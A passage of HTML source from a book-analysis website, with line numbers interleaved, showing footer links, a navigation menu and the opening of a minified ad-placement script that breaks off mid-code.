360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z"></path></svg></span><span class="gb-headline-text"><a href="https://bookanalysis.com/request-book/">Request a Book</a></span></p> 2731 2732 2733 2734<p class="gb-headline gb-headline-0a56037a"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"></path></svg></span><span class="gb-headline-text">Poem Solutions Limited (Book Analysis)</span></p> 2735 2736 2737 2738<p class="gb-headline gb-headline-7935adda"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z"></path></svg></span><span class="gb-headline-text">International House, 36-38 Cornhill, London, EC3V 3NG, United Kingdom</span></p> 2739 2740</div></div></div> 2741 2742<div class="gb-grid-column gb-grid-column-fb039fc1"><div class="gb-container gb-container-fb039fc1"><div class="gb-inside-container"> 2743 2744<p class="gb-headline gb-headline-b153994a gb-headline-text">Explore Books in Art</p> 2745 2746 2747<div class="gb-grid-wrapper gb-grid-wrapper-c6df919e border-radius"> 2748<div class="gb-grid-column gb-grid-column-3d19bee7"><div class="gb-container gb-container-3d19bee7"><a class="gb-container-link" href="https://bookanalysis.com/john-steinbeck/of-mice-and-men/"></a><div class="gb-inside-container"></div></div></div> 2749 2750<div class="gb-grid-column gb-grid-column-998b9e2d"><div class="gb-container gb-container-998b9e2d"><a class="gb-container-link" href="https://bookanalysis.com/jk-rowling/harry-potter-and-the-goblet-of-fire/"></a><div class="gb-inside-container"></div></div></div> 2751 2752<div class="gb-grid-column gb-grid-column-7c68a8fc"><div class="gb-container gb-container-7c68a8fc"><a class="gb-container-link" href="https://bookanalysis.com/jrr-tolkien/the-hobbit/"></a><div class="gb-inside-container"></div></div></div> 2753 2754<div class="gb-grid-column gb-grid-column-3e488696"><div class="gb-container gb-container-3e488696"><a class="gb-container-link" href="https://bookanalysis.com/jules-verne/twenty-thousand-leagues-under-the-sea/"></a><div class="gb-inside-container"></div></div></div> 2755 2756<div class="gb-grid-column gb-grid-column-48a8143d"><div class="gb-container gb-container-48a8143d"><a class="gb-container-link" href="https://bookanalysis.com/george-orwell/1984/"></a><div class="gb-inside-container"></div></div></div> 2757 2758<div class="gb-grid-column gb-grid-column-d6c6bff8"><div class="gb-container gb-container-d6c6bff8"><a class="gb-container-link" href="https://bookanalysis.com/f-scott-fitzgerald/the-great-gatsby/"></a><div class="gb-inside-container"></div></div></div> 2759</div> 2760</div></div></div> 2761</div> 2762</div></div> 2763 2764<div class="gb-grid-wrapper gb-grid-wrapper-4753855b"> 2765<div class="gb-grid-column gb-grid-column-f659863d"><div class="gb-container gb-container-f659863d ftr-scl-mda"><div class="gb-inside-container"> 2766 2767<p class="gb-headline gb-headline-17a11c11"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg">
2767<path fill="currentColor" d="M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"></path></svg></span><span class="gb-headline-text"><a href="https://www.facebook.com/bookanalysis" target="_blank" rel="noreferrer noopener">Facebook</a></span></p> 2768 2769</div></div></div> 2770 2771<div class="gb-grid-column gb-grid-column-8a1cdc85"><div class="gb-container gb-container-8a1cdc85 ftr-scl-mda"><div class="gb-inside-container"> 2772 2773<p class="gb-headline gb-headline-58ada696"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"></path></svg></span><span class="gb-headline-text"><a href="https://twitter.com/theBookAnalysis" data-type="URL" data-id="https://twitter.com/theBookAnalysis" target="_blank" rel="noreferrer noopener">Twitter</a></span></p> 2774 2775</div></div></div> 2776 2777<div class="gb-grid-column gb-grid-column-6d6822e2"><div class="gb-container gb-container-6d6822e2 ftr-scl-mda"><div class="gb-inside-container"> 2778 2779<p class="gb-headline gb-headline-a68ff225"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"></path></svg></span><span class="gb-headline-text"><a href="https://www.pinterest.com/thebookanalysis/" target="_blank" rel="noreferrer noopener">Pinterest</a></span></p> 2780 2781</div></div></div> 2782 2783<div class="gb-grid-column gb-grid-column-cfc286f1"><div class="gb-container gb-container-cfc286f1 ftr-scl-mda"><div class="gb-inside-container"> 2784 2785<p class="gb-headline gb-headline-8b0c8f1b"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"></path></svg></span><span class="gb-headline-text"><a href="https://www.youtube.com/@bookanalysis" target="_blank" rel="noreferrer noopener">YouTube</a></span></p> 2786 2787</div></div></div> 2788</div> 2789 2790 2791<p class="gb-headline gb-headline-c62fed39 gb-headline-text">© 2026 Book Analysis. All rights reserved. <a href="https://bookanalysis.com/privacy/">Privacy Policy</a>. <a href="https://bookanalysis.com/terms-and-conditions/">T&Cs</a>.</p> 2792 2793</div></footer></div> 2794 2795 <nav id="generate-slideout-menu" class="main-navigation slideout-navigation" itemtype="https://schema.org/SiteNavigationElement" itemscope> 2796 <div class="inside-navigation grid-container grid-parent"> 2797 <div class="main-nav"><ul id="menu-primary-menu-2" class=" slideout-menu"><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-113805"><a href="#">Explore<span role="presentation" class="dropdown-menu-toggle">
2797<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2798<ul class="sub-menu"> 2799 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1343"><a href="https://bookanalysis.com/book-explorer/">Books</a></li> 2800 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57837"><a href="https://bookanalysis.com/author-explorer/">Authors</a></li> 2801 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-116413"><a href="https://bookanalysis.com/quiz/">Quizzes</a></li> 2802</ul> 2803</li> 2804<li class="open-left menu-icon-float-right menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-107973"><a>Glossary<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2805<ul class="sub-menu"> 2806 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57711"><a href="https://bookanalysis.com/glossary/">Full Glossary</a></li> 2807 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57710"><a href="https://bookanalysis.com/1984/glossary/">1984</a></li> 2808 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57708"><a href="https://bookanalysis.com/dune/glossary/">Dune</a></li> 2809 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57794"><a href="https://bookanalysis.com/game-of-thrones/glossary/">Game of Thrones</a></li> 2810 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57707"><a href="https://bookanalysis.com/harry-potter/glossary/">Harry Potter</a></li> 2811 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57709"><a href="https://bookanalysis.com/the-hunger-games/glossary/">The Hunger Games</a></li> 2812 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-109059"><a href="https://bookanalysis.com/lord-of-the-rings/glossary/">Lord of the Rings</a></li> 2813</ul> 2814</li> 2815<li class="open-left menu-icon-float-right menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-57715"><a>Support<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2816<ul class="sub-menu"> 2817 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57714"><a href="https://bookanalysis.com/about/">About</a></li> 2818 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57712"><a href="https://bookanalysis.com/charity/">Charity</a></li> 2819 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57863"><a href="https://bookanalysis.com/contact/">Contact</a></li> 2820 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57713"><a href="https://bookanalysis.com/request-a-book/">Request a Book</a></li> 2821</ul> 2822</li> 2823<li class="login-main-nav gp-user-menu nmr-logged-out menu-item menu-item-type-custom menu-item-object-custom menu-item-113726"><a href="https://bookanalysis.com/login/">Sign in</a></li> 2824</ul></div> </div><!-- .inside-navigation --> 2825 </nav><!-- #site-navigation --> 2826 2827 <div class="slideout-overlay"> 2828 <button class="slideout-exit has-svg-icon"> 2829 <span class="gp-icon pro-close"> 2830 <svg viewBox="0 0 512 512" aria-hidden="true" role="img" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1em" height="1em"> 2831 <path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.
283103c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /> 2832 </svg> 2833 </span> <span class="screen-reader-text">Close</span> 2834 </button> 2835 </div> 2836
2836<script data-no-optimize='1' data-cfasync='false' id='cls-insertion-6f1ed98'>(function(){window.adthriveCLS.buildDate=`2026-09-16`;let e={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},t=[`siteId`,`siteName`,`adOptions`,`breakpoints`,`adUnits`],n=(e,n=t)=>{if(!e)return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;for(let t=0;t<n.length;t++)if(!e[n[t]])return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;return!0},r=()=>window.adthriveCLS;function i(e){"@babel/helpers - typeof";return i=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},i(e)}function a(e,t){if(i(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(i(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function o(e){var t=a(e,`string`);return i(t)==`symbol`?t:t+``}function s(e,t,n){return(t=o(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var c=class{constructor(){s(this,`_clsGlobalData`,r())}get enabled(){return!!this._clsGlobalData&&!!this._clsGlobalData.siteAds&&n(this._clsGlobalData.siteAds)}get error(){return!!(this._clsGlobalData&&this._clsGlobalData.error)}set siteAds(e){this._clsGlobalData.siteAds=e}get siteAds(){return this._clsGlobalData.siteAds}set disableAds(e){this._clsGlobalData.disableAds=e}get disableAds(){return this._clsGlobalData.disableAds}get enabledLocations(){return[e.Below_Post,e.Content,e.Recipe,e.Sidebar]}get injectedFromPlugin(){return this._clsGlobalData.injectedFromPlugin}set injectedFromPlugin(e){this._clsGlobalData.injectedFromPlugin=e}get injectedFromSiteAds(){return this._clsGlobalData.injectedFromSiteAds}set injectedFromSiteAds(e){this._clsGlobalData.injectedFromSiteAds=e}setInjectedSlots(e){this._clsGlobalData.injectedSlots=this._clsGlobalData.injectedSlots||[],this._clsGlobalData.injectedSlots.push(e)}get injectedSlots(){return this._clsGlobalData.injectedSlots}setInjectedVideoSlots(e){this._clsGlobalData.injectedVideoSlots=this._clsGlobalData.injectedVideoSlots||[],this._clsGlobalData.injectedVideoSlots.push(e)}get injectedVideoSlots(){return this._clsGlobalData.injectedVideoSlots}setExperiment(e,t,n=!1){this._clsGlobalData.experiments=this._clsGlobalData.experiments||{},this._clsGlobalData.siteExperiments=this._clsGlobalData.siteExperiments||{};let r=n?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;r[e]=t}getExperiment(e,t=!1){let n=t?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;return n&&n[e]}setWeightedChoiceExperiment(e,t,n=!1){this._clsGlobalData.experimentsWeightedChoice=this._clsGlobalData.experimentsWeightedChoice||{},this._clsGlobalData.siteExperimentsWeightedChoice=this._clsGlobalData.siteExperimentsWeightedChoice||{};let r=n?this._clsGlobalData.siteExperimentsWeightedChoice:this._clsGlobalData.experimentsWeightedChoice;r[e]=t}getWeightedChoiceExperiment(e,t=!1){var n,r;let i=t?(n=this._clsGlobalData)==null?void 0:n.siteExperimentsWeightedChoice:(r=this._clsGlobalData)==null?void 0:r.experimentsWeightedChoice;return i&&i[e]}get bucket(){return this._clsGlobalData.bucket}set videoDisabledFromPlugin(e){this._clsGlobalData.videoDisabledFromPlugin=e}get videoDisabledFromPlugin(){return this._clsGlobalData.videoDisabledFromPlugin}set targetDensityLog(e){this._clsGlobalData.targetDensityLog=e}get targetDensityLog(){return this._clsGlobalData.targetDensityLog}get removeVideoTitleWrapper(){return this._clsGlobalData.siteAds.adOptions.removeVideoTitleWrapper}},l=class{},u=class extends l{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}},d=class{constructor(){s(this,`_featureRollouts`,{}),s(this,`_checkedFeatureRollouts`,new Map),s(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let t=this._featureRollouts[e],n=t.enabled,r=t.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)){let e=(r.pct_enabled??100)/100;n&&=new u(e).get()}return n}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},f=class extends d{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEac
2836h(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},p,m;let h=(p=window.adthrive)==null||(p=p.siteAds)==null?void 0:p.featureRollouts,g=(m=window.adthriveCLS)==null||(m=m.siteAds)==null?void 0:m.featureRollouts,_=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,v=new f(_(g)&&g||_(h)&&h||{}),y=new f(window.adthrive&&window.adthrive.siteAds&&`featureRollouts`in window.adthrive.siteAds?window.adthrive.siteAds.featureRollouts??{}:{}),b=e=>e.indexOf(`hbs-q`)===0,ee=({bucket:e,isRolloutEnabled:t}={})=>{var n;let r=e??((n=window.adthrive)==null?void 0:n.bucket);return!(t??y.isRolloutEnabled.bind(y))(`enable-sticky-related`)||b(r||``)},x=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let S=navigator.userAgent,C=x(e=>/Chrom|Applechromium/.test(e||S)),te=x(()=>/WebKit/.test(S)),ne=x(()=>C()?`chromium`:te()?`webkit`:`other`),re=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),ie=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),ae=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,w=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||ae(e),T=x((e=S)=>w(e)?`tablet`:ie(e)&&!w(e)?`mobile`:re(e)?`desktop`:`tablet`),oe={desktop:`desktop`,tablet:`tablet`,phone:`mobile`},se=e=>e===`mobile`?`phone`:e,ce=()=>{var e;let t=((e=window)==null?void 0:e.adthrive)&&`deviceType`in window.adthrive&&window.adthrive.deviceType||null;return t&&Object.values(oe).includes(t)?t:null},le=x((e,t)=>{let n=T(e),r=t??n;return se(r===`tablet`&&n!==r?n:r)}),E=(e=navigator.userAgent)=>le(e,ce()),D=(e=navigator.userAgent)=>E(e)===`phone`;var ue,O=class{static _scheduleViewportUpdate(){this._rafId===null&&(this._rafId=window.requestAnimationFrame(()=>{this._rafId=null,this._updateViewportRects()}))}static _updateViewportRects(){if(this._trackedElements.size===0){this._detachViewportListeners();return}let e=[];this._trackedElements.forEach(t=>{if(!t.isConnected){e.push(t);return}this._cachedRects.set(t,t.getBoundingClientRect())}),e.forEach(e=>{this._trackedElements.delete(e),this._cachedRects.delete(e)}),this._trackedElements.size===0&&this._detachViewportListeners()}static _attachViewportListeners(){this._listenersAttached||=(window.addEventListener(`scroll`,this._viewportListener,{passive:!0}),window.addEventListener(`resize`,this._viewportListener),!0)}static _detachViewportListeners(){this._listenersAttached&&=(window.removeEventListener(`scroll`,this._viewportListener),window.removeEventListener(`resize`,this._viewportListener),!1)}static trackViewportElement(e){e&&(this._trackedElements.has(e)||(this._trackedElements.add(e),this._attachViewportListeners(),this._scheduleViewportUpdate()))}static untrackViewportElement(e){e&&(this._trackedElements.delete(e),this._cachedRects.delete(e),this._trackedElements.size===0&&this._detachViewportListeners())}static getCachedRect(e){return this._cachedRects.get(e)}static getScrollTop(){return(window.pageYOffset||document.documentElement.scrollTop)-(document.documentElement.clientTop||0)}static getScrollBottom(){let e=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0;return this.getScrollTop()+e}static shufflePlaylist(e){let t=e.length,n,r;for(;t!==0;)r=Math.floor(Math.random()*e.length),--t,n=e[t],e[t]=e[r],e[r]=n;return e}static isMobileLandscape(){return window.matchMedia(`(orientation: landscape) and (max-height: 480px)`).matches}static playerViewable(e){let t=this._cachedRects.get(e)??e.getBoundingClientRect();return this.playerViewableFromRect(t)}static playerViewableFromRect(e){return this.isMobileLandscape()?window.innerHeight>e.top+e.height/2&&e.top+e.height/2>0:window.innerHeight>e.top+e.height/2}static createQueryString(e){return Object.keys(e).map(t=>`${t}=${e[t]}`).join(`&`)}static createEncodedQueryString(e){return Object.keys(e).map(t=>`${t}=${encodeURIComponent(e[t])}`).join(`&`)}static setMobileLocation(e,t=!1){e||=`bottom-right`;let n=t?`raptive-player-sticky`:`adthrive-collapse`;return e===`top-left`?e=`${n}-top-left`:e===`top-right`?e=`${n}-top-right`:e===`bottom-left`?e=`${n}-bottom-left`:e===`bottom-right`?e=`${n}-bottom-right`:e===`top-center`&&(e=`adthrive-collapse-${D()?`top-center`:`bottom-right`}`),e}static addMaxResolutionQueryParam(e){let t=`max_resolution=${D()?`320`:`1280`}`,[n,r]=String(e).split(`?`);return`${n}?${r?r+`&${t}`:t}`}};ue=O,s(O,`_trackedElements`,new Set),s(O,`_cachedRects`,new WeakMap),s(O,`_rafId`,null),s(O,`_listenersAttached`,!1),s(O,`_viewportListener`,()=>{ue._scheduleViewportUpdate()});let k=(e,t)=>e==null||e!==e?t:e;var de=class{constructor(e){this._clsOptions=e,s(this,`relatedSettings`,void 0),s(this,`players`,void 0),s(this,`removeVideoTitleWrapper`,void 0),s(this,`footerSelector`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.removeVideoTitleWrapper=k(this._clsOptions.siteAds.adOptions.removeVideoTitleWrapper,!1),this.shouldDisableStickyRelated=ee({bucket:this._clsOptions.bucket,isRolloutEnabled:v.isRolloutEnabled.bind(v)});let t=this._clsOptions.siteAds.videoPlayers;this.footerSelector=k(t&&t.footerSelector,``),this.players=k(t&&t.players.map(e=>(e.mobileLocation=O.setMobileLocation(e.mobileLocation),e)),[]),this.relatedSettings=t&&t.contextual}},fe=class{constructor(e){s(this,`mobileStickyPlayerOnPage`,!1),s(this,`collapsiblePlayerOnPage`,!1),s(this,`playlistPlayerAdded`,!1),s(this,`relatedPlayerAdded`,!1),s(this,`collapseSettings`,void 0),s(this,`footerSelector`,``),s(this,`removeVideoTitleWrapper`,!1),s(this,`desktopCollapseSettings`,void 0),s(this,`mobileCollapseSettings`,void 0),s(this,`relatedSettings`,void 0),s(this,`playerId`,void 0),s(this,`playlistId`,void 0),s(this,`desktopRelatedCollapseSettings`,void 0),s(this,`mobileRelatedCollapseSettings`,void 0),s(this,`collapsePlayerId`,void 0),s(this,`players`,void 0),s(this,`videoAdOptions`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.videoAdOptions=new de(e),this.players=this.videoAdOptions.players,this.relatedSettings=this.videoAdOptions.relatedSettings,this.removeVideoTitleWrapper=this.videoAdOptions.removeVideoTitleWrapper,this.footerSelector=this.videoAdOptions.footerSelector,this.shouldDisableStickyRelated=this.videoAdOptions.shouldDisableStickyRelated}};
2836let pe=[[300,50],[300,90],[320,50],[320,100]],A=(t,n)=>t===e.Recipe&&n===`phone`,me=([e,t])=>pe.some(([n,r])=>n===e&&r===t),he=e=>{let t=e.clientWidth;if(getComputedStyle){let n=getComputedStyle(e,null);t-=parseFloat(n.paddingLeft||`0`)+parseFloat(n.paddingRight||`0`)}return t},ge=()=>document.createDocumentFragment().querySelectorAll(`*`),j=(e,t=document)=>{try{return{valid:!0,elements:t.querySelectorAll(e)}}catch(e){return{valid:!1,elements:ge(),error:e}}},M=(e,t=document)=>{try{return{valid:!0,element:t.querySelector(e)}}catch(e){return{valid:!1,element:null,error:e}}},N=e=>j(e),P=e=>{if(e===``)return{valid:!0};let t=N(e);return t.valid?{valid:!0,elements:t.elements}:{valid:!1,error:t.error}},F=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof 